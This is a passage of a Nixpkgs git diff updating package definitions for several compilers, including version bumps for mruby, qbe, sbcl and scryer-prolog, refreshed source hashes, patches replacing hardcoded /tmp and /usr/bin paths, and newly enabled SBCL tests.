a/pkgs/development/compilers/llvm/git/llvm/default.nix +++ b/pkgs/development/compilers/llvm/git/llvm/default.nix @@ -224,7 +224,7 @@ stdenv.mkDerivation (rec { rm unittests/IR/PassBuilderCallbacksTest.cpp rm test/tools/llvm-objcopy/ELF/mirror-permissions-unix.test '' + optionalString stdenv.hostPlatform.isMusl '' - patch -p1 -i ${../../TLI-musl.patch} + patch -p1 -i ${../../common/llvm/TLI-musl.patch} substituteInPlace unittests/Support/CMakeLists.txt \ --replace "add_subdirectory(DynamicLibrary)" "" rm unittests/Support/DynamicLibrary/DynamicLibraryTest.cpp diff --git a/pkgs/development/compilers/llvm/git/llvm/gnu-install-dirs-polly.patch b/pkgs/development/compilers/llvm/git/llvm/gnu-install-dirs-polly.patch index b01363e98aa00..442ebddad3f60 100644 --- a/pkgs/development/compilers/llvm/git/llvm/gnu-install-dirs-polly.patch +++ b/pkgs/development/compilers/llvm/git/llvm/gnu-install-dirs-polly.patch @@ -6,14 +6,14 @@ diff --git a/tools/polly/cmake/polly_macros.cmake b/tools/polly/cmake/polly_macr index 518a09b45a42..bd9d6f5542ad 100644 --- a/tools/polly/cmake/polly_macros.cmake +++ b/tools/polly/cmake/polly_macros.cmake -@@ -44,8 +44,8 @@ macro(add_polly_library name) - if (NOT LLVM_INSTALL_TOOLCHAIN_ONLY OR ${name} STREQUAL "LLVMPolly") +@@ -45,8 +45,8 @@ macro(add_polly_library name) install(TARGETS ${name} + COMPONENT ${name} EXPORT LLVMExports - LIBRARY DESTINATION lib${LLVM_LIBDIR_SUFFIX} - ARCHIVE DESTINATION lib${LLVM_LIBDIR_SUFFIX}) -+ LIBRARY DESTINATION ${CMAKE_INSTALL_LIBDIR}${LLVM_LIBDIR_SUFFIX} ++ LIBRARY DESTINATION ${CMAKE_INSTALL_LIBDIR}${LLVM_LIBDIR_SUFFIX} + ARCHIVE DESTINATION ${CMAKE_INSTALL_LIBDIR}${LLVM_LIBDIR_SUFFIX}) + add_llvm_install_targets(install-${name} + COMPONENT ${name}) endif() - set_property(GLOBAL APPEND PROPERTY LLVM_EXPORTS ${name}) - endmacro(add_polly_library) diff --git a/pkgs/development/compilers/llvm/git/openmp/gnu-install-dirs.patch b/pkgs/development/compilers/llvm/git/openmp/gnu-install-dirs.patch index 77a93208832a1..0d0d4130c7610 100644 --- a/pkgs/development/compilers/llvm/git/openmp/gnu-install-dirs.patch +++ b/pkgs/development/compilers/llvm/git/openmp/gnu-install-dirs.patch @@ -6,17 +6,17 @@ index b6ddbe90516d..311ab1d50e7f 100644 set(OPENMP_LIBDIR_SUFFIX "" CACHE STRING "Suffix of lib installation directory, e.g. 64 => lib64") # Do not use OPENMP_LIBDIR_SUFFIX directly, use OPENMP_INSTALL_LIBDIR. -- set(OPENMP_INSTALL_LIBDIR "lib${OPENMP_LIBDIR_SUFFIX}") -+ set(OPENMP_INSTALL_LIBDIR "${CMAKE_INSTALL_LIBDIR}${OPENMP_LIBDIR_SUFFIX}") +- set(OPENMP_INSTALL_LIBDIR "lib${OPENMP_LIBDIR_SUFFIX}" CACHE STRING ++ set(OPENMP_INSTALL_LIBDIR "${CMAKE_INSTALL_LIBDIR}${OPENMP_LIBDIR_SUFFIX}" CACHE STRING + "Path where built OpenMP libraries should be installed.") # Group test settings. - set(OPENMP_TEST_C_COMPILER ${CMAKE_C_COMPILER} CACHE STRING -@@ -40,7 +40,7 @@ if (OPENMP_STANDALONE_BUILD) +@@ -47,7 +47,7 @@ if (OPENMP_STANDALONE_BUILD) else() set(OPENMP_ENABLE_WERROR ${LLVM_ENABLE_WERROR}) # If building in tree, we honor the same install suffix LLVM uses. -- set(OPENMP_INSTALL_LIBDIR "lib${LLVM_LIBDIR_SUFFIX}") -+ set(OPENMP_INSTALL_LIBDIR "${CMAKE_INSTALL_LIBDIR}${LLVM_LIBDIR_SUFFIX}") +- set(OPENMP_INSTALL_LIBDIR "lib${LLVM_LIBDIR_SUFFIX}" CACHE STRING ++ set(OPENMP_INSTALL_LIBDIR "${CMAKE_INSTALL_LIBDIR}${LLVM_LIBDIR_SUFFIX}" CACHE STRING + "Path where built OpenMP libraries should be installed.") if (NOT MSVC) - set(OPENMP_TEST_C_COMPILER ${LLVM_RUNTIME_OUTPUT_INTDIR}/clang) diff --git a/pkgs/development/compilers/lobster/default.nix b/pkgs/development/compilers/lobster/default.nix index e380cf735fb90..02748546d5aa2 100644 --- a/pkgs/development/compilers/lobster/default.nix +++ b/pkgs/development/compilers/lobster/default.nix @@ -16,14 +16,14 @@ , ForceFeedback }: -stdenv.mkDerivation rec { +stdenv.mkDerivation (finalAttrs: { pname = "lobster"; version = "2023.13"; src = fetchFromGitHub { owner = "aardappel"; repo = "lobster"; - rev = "v${version}"; + rev = "v${finalAttrs.version}"; sha256 = "sha256-7lMIIJ3iduyxZKwK65tle3c+az2G2Mpi4JwAeCCsTxw="; }; @@ -62,4 +62,4 @@ stdenv.mkDerivation rec { maintainers = with maintainers; [ fgaz ]; platforms = platforms.all; }; -} +}) diff --git a/pkgs/development/compilers/mlkit/default.nix b/pkgs/development/compilers/mlkit/default.nix index 082b768a2b00e..e5cd4992d6c60 100644 --- a/pkgs/development/compilers/mlkit/default.nix +++ b/pkgs/development/compilers/mlkit/default.nix @@ -2,13 +2,13 @@ stdenv.mkDerivation rec { pname = "mlkit"; - version = "4.7.8"; + version = "4.7.9"; src = fetchFromGitHub { owner = "melsman"; repo = "mlkit"; rev = "v${version}"; - sha256 = "sha256-IAlcf4McvWoCflrH6d6PQP1aosHq2QNKBwde7i38Mc4="; + sha256 = "sha256-Q5HKNilXhoOaCMY05A09VzK4CpLPte78bivs1c78euM="; }; nativeBuildInputs = [ autoreconfHook mlton ]; diff --git a/pkgs/development/compilers/mruby/default.nix b/pkgs/development/compilers/mruby/default.nix index 578dbf9c9837e..0a081596616ad 100644 --- a/pkgs/development/compilers/mruby/default.nix +++ b/pkgs/development/compilers/mruby/default.nix @@ -1,14 +1,14 @@ -{ lib, stdenv, ruby, rake, fetchFromGitHub }: +{ lib, stdenv, ruby, rake, fetchFromGitHub, testers }: -stdenv.mkDerivation rec { +stdenv.mkDerivation (finalAttrs: { pname = "mruby"; - version = "3.2.0"; + version = "3.3.0"; src = fetchFromGitHub { owner = "mruby"; repo = "mruby"; - rev = version; - sha256 = "sha256-MmrbWeg/G29YBvVrOtceTOZChrQ2kx9+apl7u7BiGjA="; + rev = finalAttrs.version; + sha256 = "sha256-rCoEC1ioX6bOocPoPi+Lsn4PM8gY0DjKja1/MJvJ1n8="; }; nativeBuildInputs = [ rake ]; @@ -28,11 +28,18 @@ stdenv.mkDerivation rec { checkTarget = "test"; + passthru.tests = { + version = testers.testVersion { + package = finalAttrs.finalPackage; + }; + }; + meta = with lib; { description = "An embeddable implementation of the Ruby language"; homepage = "https://mruby.org"; maintainers = with maintainers; [ nicknovitski marsam ]; license = licenses.mit; platforms = platforms.all; + mainProgram = "mruby"; }; -} +}) diff --git a/pkgs/development/compilers/orc/default.nix b/pkgs/development/compilers/orc/default.nix index dd1ce9d146726..be01d49d5f5a9 100644 --- a/pkgs/development/compilers/orc/default.nix +++ b/pkgs/development/compilers/orc/default.nix @@ -18,11 +18,11 @@ inherit (lib) optional optionals; in stdenv.mkDerivation rec { pname = "orc"; - version = "0.4.34"; + version = "0.4.36"; src = fetchurl { url = "https://gstreamer.freedesktop.org/src/orc/${pname}-${version}.tar.xz"; - sha256 = "sha256-j0ers/CXFx5E64B63Nq9hg+6Lv/TfY08T71fNByt1B8="; + sha256 = "sha256-g7B0y2cxfVi+8ejQzIYveuinekW7/wVqH5h8ZIiy9f0="; }; postPatch = lib.optionalString stdenv.isAarch32 '' diff --git a/pkgs/development/compilers/osl/default.nix b/pkgs/development/compilers/osl/default.nix index 0d66b81b6ad12..23ec364ffe330 100644 --- a/pkgs/development/compilers/osl/default.nix +++ b/pkgs/development/compilers/osl/default.nix @@ -24,13 +24,13 @@ let in stdenv.mkDerivation rec { pname = "openshadinglanguage"; - version = "1.13.6.1"; + version = "1.13.7.0"; src = fetchFromGitHub { owner = "AcademySoftwareFoundation"; repo = "OpenShadingLanguage"; rev = "v${version}"; - hash = "sha256-NSnM5/SyVkfZ4SyzRzVJc5O1t4/s2ax0koevRZsQ9q8="; + hash = "sha256-M8B5lnLEnWu0PQx4BKidFHXm4+Xs26EaD2caOA+bZ1k="; }; cmakeFlags = [ diff --git a/pkgs/development/compilers/purescript/purescript/default.nix b/pkgs/development/compilers/purescript/purescript/default.nix index 35fdf3d369b11..cbb938b28b964 100644 --- a/pkgs/development/compilers/purescript/purescript/default.nix +++ b/pkgs/development/compilers/purescript/purescript/default.nix @@ -15,7 +15,7 @@ let in stdenv.mkDerivation rec { pname = "purescript"; - version = "0.15.14"; + version = "0.15.15"; # These hashes can be updated automatically by running the ./update.sh script. src = @@ -25,17 +25,17 @@ in stdenv.mkDerivation rec { then fetchurl { url = "https://github.com/${pname}/${pname}/releases/download/v${version}/macos-arm64.tar.gz"; - sha256 = "1sc8ygiha980wbg60bkinvvpdn4bdasq9zffanbxck8msdwxc4zx"; + sha256 = "0bi231z1yhb7kjfn228wjkj6rv9lgpagz9f4djr2wy3kqgck4xg0"; } else fetchurl { url = "https://github.com/${pname}/${pname}/releases/download/v${version}/macos.tar.gz"; - sha256 = "01973wiybblfbgjbqrhr8435y6jk6c94i667nr3zxkxy4np3lv3q"; + sha256 = "178ix54k2yragcgn0j8z1cfa78s1qbh1bsx3v9jnngby8igr6yn3"; }) else fetchurl { url = "https://github.com/${pname}/${pname}/releases/download/v${version}/linux64.tar.gz"; - sha256 = "0i717gb4d21m0pi1k90g5diq3yja1pwlw6ripv0d70jdnd9gsdl9"; + sha256 = "1w4jgjpfhaw3gkx9sna64lq9m030x49w4lwk01ik5ci0933imzj3"; }; diff --git a/pkgs/development/compilers/qbe/001-dont-hardcode-tmp.patch b/pkgs/development/compilers/qbe/001-dont-hardcode-tmp.patch new file mode 100644 index 0000000000000..556dc5aab2a6a --- /dev/null +++ b/pkgs/development/compilers/qbe/001-dont-hardcode-tmp.patch @@ -0,0 +1,43 @@ +diff --git a/minic/mcc b/minic/mcc +index 492947e..5258aac 100755 +--- a/minic/mcc ++++ b/minic/mcc +@@ -31,9 +31,9 @@ then + fi + + +-$DIR/minic < $file > /tmp/minic.ssa && +-$QBE < /tmp/minic.ssa > /tmp/minic.s && +-cc /tmp/minic.s $flags ++$DIR/minic < $file > ${TMPDIR:-/tmp}/minic.ssa && ++$QBE < ${TMPDIR:-/tmp}/minic.ssa > ${TMPDIR:-/tmp}/minic.s && ++cc ${TMPDIR:-/tmp}/minic.s $flags + + if test $? -ne 0 + then +diff --git a/tools/cra.sh b/tools/cra.sh +index 5988267..57a4b34 100755 +--- a/tools/cra.sh ++++ b/tools/cra.sh +@@ -2,7 +2,7 @@ + + DIR=`cd $(dirname "$0"); pwd` + QBE=$DIR/../qbe +-BUGF=/tmp/bug.id ++BUGF=${TMPDIR:-/tmp}/bug.id + FIND=$1 + FIND=${FIND:-afl-find} + +diff --git a/tools/test.sh b/tools/test.sh +index 23c6663..fb36222 100755 +--- a/tools/test.sh ++++ b/tools/test.sh +@@ -4,7 +4,7 @@ dir=`dirname "$0"` + bin=$dir/../qbe + binref=$dir/../qbe.ref + +-tmp=/tmp/qbe.zzzz ++tmp=${TMPDIR:-/tmp}/qbe.zzzz + + drv=$tmp.c + asm=$tmp.s diff --git a/pkgs/development/compilers/qbe/default.nix b/pkgs/development/compilers/qbe/default.nix index ee075ec040568..00c91e2671ecd 100644 --- a/pkgs/development/compilers/qbe/default.nix +++ b/pkgs/development/compilers/qbe/default.nix @@ -1,23 +1,34 @@ -{ lib, stdenv +{ lib +, stdenv , fetchzip , callPackage }: - -stdenv.mkDerivation rec { +stdenv.mkDerivation (finalAttrs: { pname = "qbe"; - version = "1.1"; + version = "1.2"; src = fetchzip { - url = "https://c9x.me/compile/release/qbe-${version}.tar.xz"; - sha256 = "sha256-yFZ3cpp7eLjf7ythKFTY1YEJYyfeg2en4/D8+9oM1B4="; + url = "https://c9x.me/compile/release/qbe-${finalAttrs.version}.tar.xz"; + hash = "sha256-UgtJnZF/YtD54OBy9HzGRAEHx5tC9Wo2YcUidGwrv+s="; }; - makeFlags = [ "PREFIX=$(out)" ]; + makeFlags = [ + "PREFIX=$(out)" + "CC=${stdenv.cc.targetPrefix}cc" + ]; doCheck = true; + enableParallelBuilding = true; + + patches = [ + # Use "${TMPDIR:-/tmp}" instead of the latter directly + # see <https://lists.sr.ht/~mpu/qbe/patches/49613> + ./001-dont-hardcode-tmp.patch + ]; + passthru = { - tests.can-run-hello-world = callPackage ./test-can-run-hello-world.nix {}; + tests.can-run-hello-world = callPackage ./test-can-run-hello-world.nix { }; }; meta = with lib; { @@ -26,5 +37,6 @@ stdenv.mkDerivation rec { maintainers = with maintainers; [ fgaz ]; license = licenses.mit; platforms = platforms.all; + mainProgram = "qbe"; }; -} +}) diff --git a/pkgs/development/compilers/reason/default.nix b/pkgs/development/compilers/reason/default.nix index 12e58b6739ad9..954c58718cf3e 100644 --- a/pkgs/development/compilers/reason/default.nix +++ b/pkgs/development/compilers/reason/default.nix @@ -6,11 +6,11 @@ stdenv.mkDerivation rec { pname = "ocaml${ocaml.version}-reason"; - version = "3.10.0"; + version = "3.11.0"; src = fetchurl { url = "https://github.com/reasonml/reason/releases/download/${version}/reason-${version}.tbz"; - hash = "sha256-F+rUwoZK9yc/VtCtYsRWS+Lq3nbT2oex04HtW0T0Zss="; + hash = "sha256-pYg38Up58EfI65nVUYrrFu5kNTV0KGz9WyhMmKGiclA="; }; strictDeps = true; diff --git a/pkgs/development/compilers/sagittarius-scheme/default.nix b/pkgs/development/compilers/sagittarius-scheme/default.nix index 941ac1bcb2c34..f9b25b9341a4a 100644 --- a/pkgs/development/compilers/sagittarius-scheme/default.nix +++ b/pkgs/development/compilers/sagittarius-scheme/default.nix @@ -16,10 +16,10 @@ let platformLdLibraryPath = if stdenv.isDarwin then "DYLD_FALLBACK_LIBRARY_PATH" in stdenv.mkDerivation rec { pname = "sagittarius-scheme"; - version = "0.9.10"; + version = "0.9.11"; src = fetchurl { url = "https://bitbucket.org/ktakashi/${pname}/downloads/sagittarius-${version}.tar.gz"; - sha256 = "sha256-F2GaaYVnDAGYDlQZBGhdPDO8lbeVgn+ta6LSK0L0zNA="; + hash = "sha256-LIF1EW8sMBMKycQnVAXk+5iEpKmRHMmzBILAg2tjk8c="; }; preBuild = '' # since we lack rpath during build, need to explicitly add build path @@ -31,10 +31,14 @@ stdenv.mkDerivation rec { buildInputs = [ libffi boehmgc openssl zlib ] ++ lib.optional odbcSupport libiodbc; - env.NIX_CFLAGS_COMPILE = lib.optionalString stdenv.isDarwin "-Wno-error=int-conversion"; + env.NIX_CFLAGS_COMPILE = toString (lib.optionals stdenv.isDarwin [ + "-Wno-error=int-conversion" + ] ++ lib.optionals (stdenv.isDarwin && stdenv.isx86_64) [ + # error: '__builtin_ia32_aeskeygenassist128' needs target feature aes + "-maes" + ]); meta = with lib; { - broken = stdenv.isDarwin && stdenv.isAarch64; description = "An R6RS/R7RS Scheme system"; longDescription = '' Sagittarius Scheme is a free Scheme implementation supporting diff --git a/pkgs/development/compilers/sbcl/bootstrap.nix b/pkgs/development/compilers/sbcl/bootstrap.nix index e23557c5a62fc..d796b24e1d7e3 100644 --- a/pkgs/development/compilers/sbcl/bootstrap.nix +++ b/pkgs/development/compilers/sbcl/bootstrap.nix @@ -26,4 +26,6 @@ stdenv.mkDerivation rec { postFixup = lib.optionalString (!stdenv.isAarch32 && stdenv.isLinux) '' patchelf --set-interpreter $(cat $NIX_CC/nix-support/dynamic-linker) $out/share/sbcl/sbcl ''; + + meta.sourceProvenance = [ lib.sourceTypes.binaryNativeCode ]; } diff --git a/pkgs/development/compilers/sbcl/default.nix b/pkgs/development/compilers/sbcl/default.nix index 2f18dcc78d4c9..e8933d045e378 100644 --- a/pkgs/development/compilers/sbcl/default.nix +++ b/pkgs/development/compilers/sbcl/default.nix @@ -1,4 +1,4 @@ -{ lib, stdenv, callPackage, clisp, fetchurl, fetchpatch, writeText, zstd +{ lib, stdenv, callPackage, clisp, coreutils, fetchurl, strace, texinfo, which, writeText, zstd , threadSupport ? (stdenv.hostPlatform.isx86 || "aarch64-linux" == stdenv.hostPlatform.system || "aarch64-darwin" == stdenv.hostPlatform.system) , linkableRuntime ? stdenv.hostPlatform.isx86 , disableImmobileSpace ? false @@ -8,8 +8,13 @@ , purgeNixReferences ? false , coreCompression ? lib.versionAtLeast version "2.2.6" , markRegionGC ? lib.versionAtLeast version "2.4.0" -, texinfo , version + # Set this to a lisp binary to use a custom bootstrap lisp compiler for + # SBCL. Leave as null to use the default. This is useful for local development + # of SBCL, because you can use your existing stock SBCL as a boostrap. On Hydra + # of course we can’t do that because SBCL hasn’t been built yet, so we use + # CLISP, but that’s much slower. +, bootstrapLisp ? null }: let @@ -19,12 +24,12 @@ let sha256 = "189gjqzdz10xh3ybiy4ch1r98bsmkcb4hpnrmggd4y2g5kqnyx4y"; }; - "2.4.0" = { - sha256 = "sha256-g9i3TwjSJUxZuXkLwfZp4JCZRXuIRyDs7L9F9LRtF3Y="; - }; "2.4.1" = { sha256 = "sha256-2k+UhvrUE9OversbCSaTJf20v/fnuI8hld3udDJjz34="; }; + "2.4.2" = { + sha256 = "sha256-/APLUtEqr+h1nmMoRQogG73fibFwcaToPznoC0Pd7w8="; + }; }; # Collection of pre-built SBCL binaries for platforms that need them for # bootstrapping. Ideally these are to be avoided. If CLISP (or any other @@ -62,14 +67,16 @@ let sbclBootstrap = callPackage ./bootstrap.nix { cfg = bootstrapBinaries.${stdenv.hostPlatform.system}; }; - bootstrapLisp = - if (builtins.hasAttr stdenv.hostPlatform.system bootstrapBinaries) + bootstrapLisp' = + if bootstrapLisp != null + then bootstrapLisp + else if (builtins.hasAttr stdenv.hostPlatform.system bootstrapBinaries) then "${sbclBootstrap}/bin/sbcl --disable-debugger --no-userinit --no-sysinit" else "${clisp}/bin/clisp -E UTF-8 --silent -norc"; in -stdenv.mkDerivation rec { +stdenv.mkDerivation (self: rec { pname = "sbcl"; inherit version; @@ -78,48 +85,61 @@ stdenv.mkDerivation rec { inherit (versionMap.${version}) sha256; }; - nativeBuildInputs = [ texinfo ]; + nativeBuildInputs = [ + texinfo + ] ++ lib.optionals self.doCheck ( + [ + which + ] ++ lib.optionals (builtins.elem stdenv.system strace.meta.platforms) [ + strace + ] + ); buildInputs = lib.optionals coreCompression [ zstd ]; - patches = lib.optionals (version == "2.4.0") [ - ./fix-2.4.0-aarch64-darwin.patch + patches = lib.optionals (lib.versionOlder self.version "2.4.2") [ + # Fixed in 2.4.2 + ./search-for-binaries-in-PATH.patch ]; - postPatch = '' - echo '"${version}.nixos"' > version.lisp-expr - - # SBCL checks whether files are up-to-date in many places.. - # Unfortunately, same timestamp is not good enough - sed -e 's@> x y@>= x y@' -i contrib/sb-aclrepl/repl.lisp - #sed -e '/(date)/i((= date 2208988801) 2208988800)' -i contrib/asdf/asdf.lisp - sed -i src/cold/slam.lisp -e \ - '/file-write-date input/a)' - sed -i src/cold/slam.lisp -e \ - '/file-write-date output/i(or (and (= 2208988801 (file-write-date output)) (= 2208988801 (file-write-date input)))' - sed -i src/code/target-load.lisp -e \ - '/date defaulted-fasl/a)' - sed -i src/code/target-load.lisp -e \ - '/date defaulted-source/i(or (and (= 2208988801 (file-write-date defaulted-source-truename)) (= 2208988801 (file-write-date defaulted-fasl-truename)))' - - # Fix the tests - sed -e '5,$d' -i contrib/sb-bsd-sockets/tests.lisp - sed -e '5,$d' -i contrib/sb-simple-streams/*test*.lisp + # I don’t know why these are failing (on ofBorg), and I’d rather just disable + # them and move forward with the succeeding tests than block testing + # altogether. One by one hopefully we can fix these (on ofBorg, + # upstream--somehow some way) in due time. + disabledTestFiles = lib.optionals (builtins.elem stdenv.hostPlatform.system [ + "x86_64-linux" + "aarch64-linux" + ]) [ + "foreign-stack-alignment.impure.lisp" + # Floating point tests are fragile + # https://sourceforge.net/p/sbcl/mailman/message/58728554/ + "compiler.pure.lisp" + "float.pure.lisp" + ] ++ lib.optionals (stdenv.hostPlatform.system == "aarch64-linux") [ + # This is failing on aarch64-linux on ofBorg. Not on my local machine nor on + # a VM on my laptop. Not sure what’s wrong. + "traceroot.impure.lisp" + ]; + postPatch = lib.optionalString (self.disabledTestFiles != [ ]) '' + (cd tests ; rm -f ${lib.concatStringsSep " " self.disabledTestFiles}) '' - + (if purgeNixReferences - then - # This is the default location to look for the core; by default in $out/lib/sbcl - '' - sed 's@^\(#define SBCL_HOME\) .*$@\1 "/no-such-path"@' \ - -i src/runtime/runtime.c - '' - else - # Fix software version retrieval - '' - sed -e "s@/bin/uname@$(command -v uname)@g" -i src/code/*-os.lisp \ - src/code/run-program.lisp - '' - ); - + + lib.optionalString purgeNixReferences '' + # This is the default location to look for the core; by default in $out/lib/sbcl + sed 's@^\(#define SBCL_HOME\) .*$@\1 "/no-such-path"@' \ + -i src/runtime/runtime.c + '' + + '' + ( + shopt -s nullglob + # Tests need patching regardless of purging of paths from the final + # binary. There are some tricky files in nested directories which should + # definitely NOT be patched this way, hence just a single * (and no + # globstar). + substituteInPlace ${if purgeNixReferences then "tests" else "{tests,src/code}"}/*.{lisp,sh} \ + --replace-quiet /usr/bin/env "${coreutils}/bin/env" \ + --replace-quiet /bin/uname "${coreutils}/bin/uname" \ + --replace-quiet /bin/sh "${stdenv.shell}" + ) + ''; preBuild = '' export INSTALL_ROOT=$out @@ -138,7 +158,16 @@ stdenv.mkDerivation rec { optional (!threadSupport) "sb-thread" ++ optionals disableImmobileSpace [ "immobile-space" "immobile-code" "compact-instance-header" ]; - env.NIX_CFLAGS_COMPILE = toString (lib.optionals (lib.versionOlder version "2.1.10") [ + buildArgs = [ + "--prefix=$out" + "--xc-host=${lib.escapeShellArg bootstrapLisp'}" + ] ++ builtins.map (x: "--with-${x}") self.enableFeatures + ++ builtins.map (x: "--without-${x}") self.disableFeatures + ++ lib.optionals (stdenv.hostPlatform.system == "aarch64-darwin") [ + "--arch=arm64" + ]; + + env.NIX_CFLAGS_COMPILE = toString (lib.optionals (lib.versionOlder self.version "2.1.10") [ # Workaround build failure on -fno-common toolchains like upstream # clang-13. Without the change build fails as: # duplicate symbol '_static_code_space_free_pointer' in: alloc.o traceroot.o @@ -151,22 +180,32 @@ stdenv.mkDerivation rec { buildPhase = '' runHook preBuild - sh make.sh --prefix=$out --xc-host="${bootstrapLisp}" ${ - lib.concatStringsSep " " - (builtins.map (x: "--with-${x}") enableFeatures ++ - builtins.map (x: "--without-${x}") disableFeatures) - } ${lib.optionalString (stdenv.hostPlatform.system == "aarch64-darwin") "--arch=arm64"} + sh make.sh ${lib.concatStringsSep " " self.buildArgs} (cd doc/manual ; make info) runHook postBuild ''; + # Tests on ofBorg’s x86_64-darwin platforms are so unstable that a random one + # will fail every other run. There’s a deeper problem here; we might as well + # disable them entirely so at least the other platforms get to benefit from + # testing. + doCheck = stdenv.hostPlatform.system != "x86_64-darwin"; + + # From the INSTALL docs + checkPhase = '' + runHook preCheck + + (cd tests && sh run-tests.sh) + + runHook postCheck + ''; + installPhase = '' runHook preInstall INSTALL_ROOT=$out sh install.sh - runHook postInstall '' + lib.optionalString (!purgeNixReferences) '' cp -r src $out/lib/sbcl @@ -176,6 +215,8 @@ stdenv.mkDerivation rec { '(("SYS:SRC;**;*.*.*" #P"$out/lib/sbcl/src/**/*.*") ("SYS:CONTRIB;**;*.*.*" #P"$out/lib/sbcl/contrib/**/*.*"))) EOF + '' + '' + runHook postInstall ''; setupHook = lib.optional purgeNixReferences (writeText "setupHook.sh" '' @@ -186,9 +227,10 @@ stdenv.mkDerivation rec { ''); meta = with lib; { - description = "Lisp compiler"; + description = "Common Lisp compiler"; homepage = "https://sbcl.org"; license = licenses.publicDomain; # and FreeBSD + mainProgram = "sbcl"; maintainers = lib.teams.lisp.members; platforms = attrNames bootstrapBinaries ++ [ # These aren’t bootstrapped using the binary distribution but compiled @@ -198,4 +240,4 @@ stdenv.mkDerivation rec { "aarch64-linux" ]; }; -} +}) diff --git a/pkgs/development/compilers/sbcl/search-for-binaries-in-PATH.patch b/pkgs/development/compilers/sbcl/search-for-binaries-in-PATH.patch new file mode 100644 index 0000000000000..95263ec857533 --- /dev/null +++ b/pkgs/development/compilers/sbcl/search-for-binaries-in-PATH.patch @@ -0,0 +1,108 @@ +From 35856b09e3606361b17f21225c759632be1cdf34 Mon Sep 17 00:00:00 2001 +From: Hraban Luyat <hraban@0brg.net> +Date: Wed, 24 Jan 2024 14:58:53 -0500 +Subject: [PATCH] Search for binaries in tests in PATH, not /usr/bin +MIME-Version: 1.0 +Content-Type: text/plain; charset=UTF-8 +Content-Transfer-Encoding: 8bit + +Same as 8ed662fbfeb5dde35eb265f390b55b01f79f70c1 but for tests, and for more +than just ‘cat’. For the same reasons as that diff. +--- + tests/run-program.impure.lisp | 18 ++++++++++-------- + tests/run-program.test.sh | 9 ++++----- + 2 files changed, 14 insertions(+), 13 deletions(-) + +diff --git a/tests/run-program.impure.lisp b/tests/run-program.impure.lisp +index 0eab8884c..b07d1e4fb 100644 +--- a/tests/run-program.impure.lisp ++++ b/tests/run-program.impure.lisp +@@ -15,7 +15,7 @@ + + (defun bin-pwd-ignoring-result () + (let ((initially-open-fds (directory "/proc/self/fd/*" :resolve-symlinks nil))) +- (sb-ext:run-program "/usr/bin/pwd" nil :input :stream :output :stream :wait nil) ++ (sb-ext:run-program "pwd" nil :search t :input :stream :output :stream :wait nil) + (length initially-open-fds))) + + (with-test (:name (run-program :autoclose-streams) +@@ -49,7 +49,7 @@ + (with-test (:name (run-program :cat 2) + :skipped-on (or (not :sb-thread) :win32)) + ;; Tests that reading from a FIFO is interruptible. +- (let* ((process (run-program "/bin/cat" '() ++ (let* ((process (run-program "cat" '() :search t + :wait nil :output :stream :input :stream)) + (in (process-input process)) + (out (process-output process)) +@@ -167,7 +167,7 @@ + (defparameter *cat-out* (make-synonym-stream '*cat-out-pipe*))) + + (with-test (:name (run-program :cat 5) :fails-on :win32) +- (let ((cat (run-program "/bin/cat" nil :input *cat-in* :output *cat-out* ++ (let ((cat (run-program "cat" nil :search t :input *cat-in* :output *cat-out* + :wait nil))) + (dolist (test '("This is a test!" + "This is another test!" +@@ -310,14 +310,16 @@ + (let ((had-error-p nil)) + (flet ((barf (&optional (format :default)) + (with-output-to-string (stream) +- (run-program #-netbsd "/usr/bin/perl" #+netbsd "/usr/pkg/bin/perl" ++ (run-program #-netbsd "perl" #+netbsd "/usr/pkg/bin/perl" + '("-e" "print \"\\x20\\xfe\\xff\\x0a\"") ++ :search #-netbsd t #+netbsd nil + :output stream + :external-format format))) + (no-barf () + (with-output-to-string (stream) +- (run-program "/bin/echo" ++ (run-program "echo" + '("This is a test") ++ :search t + :output stream)))) + (handler-case + (barf :utf-8) +@@ -353,9 +355,9 @@ + ;; If the permitted inputs are :ANY then leave it be + (listp (symbol-value 'run-tests::*allowed-inputs*))) + (push (namestring file) (symbol-value 'run-tests::*allowed-inputs*))) +- (assert (null (run-program "/bin/cat" '() :input file))) +- (assert (null (run-program "/bin/cat" '() :output #.(or *compile-file-truename* +- *load-truename*) ++ (assert (null (run-program "cat" '() :search t :input file))) ++ (assert (null (run-program "cat" '() :search t :output #.(or *compile-file-truename* ++ *load-truename*) + :if-output-exists nil))))) + + +diff --git a/tests/run-program.test.sh b/tests/run-program.test.sh +index 48eaef889..c926e5a05 100755 +--- a/tests/run-program.test.sh ++++ b/tests/run-program.test.sh +@@ -39,9 +39,8 @@ run_sbcl --eval "(defvar *exit-ok* $EXIT_LISP_WIN)" <<'EOF' + (assert (not (zerop (sb-ext:process-exit-code + (sb-ext:run-program "false" () :search t :wait t))))) + (let ((string (with-output-to-string (stream) +- (our-run-program "/bin/echo" +- '("foo" "bar") +- :output stream)))) ++ (run-program "echo" '("foo" "bar") ++ :search t :output stream)))) + (assert (string= string "foo bar + "))) + (format t ";;; Smoke tests: PASS~%") +@@ -103,8 +102,8 @@ run_sbcl --eval "(defvar *exit-ok* $EXIT_LISP_WIN)" <<'EOF' + ;; make sure that a stream input argument is basically reasonable. + (let ((string (let ((i (make-string-input-stream "abcdef"))) + (with-output-to-string (stream) +- (our-run-program "/bin/cat" () +- :input i :output stream))))) ++ (run-program "cat" () ++ :search t :input i :output stream))))) + (assert (= (length string) 6)) + (assert (string= string "abcdef"))) + +-- +2.43.0 + diff --git a/pkgs/development/compilers/scryer-prolog/default.nix b/pkgs/development/compilers/scryer-prolog/default.nix index 45d7ea21749b1..a0247c265e80f 100644 --- a/pkgs/development/compilers/scryer-prolog/default.nix +++ b/pkgs/development/compilers/scryer-prolog/default.nix @@ -1,7 +1,6 @@ { lib , rustPlatform , fetchFromGitHub -, fetchpatch , pkg-config , openssl , gmp @@ -12,29 +11,16 @@ rustPlatform.buildRustPackage rec { pname = "scryer-prolog"; - version = "0.9.3"; + version = "0.9.4"; src = fetchFromGitHub { owner = "mthom"; repo = "scryer-prolog"; rev = "v${version}"; - hash = "sha256-0J69Zl+ONvR6T+xf2YeShwn3/JWOHyFHLpNFwmEaIOI="; + hash = "sha256-0c0MsjrHRitg+5VEHB9/iSuiqcPztF+2inDZa9fQpwU="; }; - patches = [ - (fetchpatch { - name = "cargo-lock-version-bump.patch"; - url = "https://github.com/mthom/scryer-prolog/commit/d6fe5b5aaddb9886a8a34841a65cb28c317c2913.patch"; - hash = "sha256-xkGsjVV/FcyZXGkI84FlqcRIuDM7isCCWZ1sbKql7es="; - }) - ]; - - cargoLock = { - lockFile = ./Cargo.lock; - outputHashes = { - 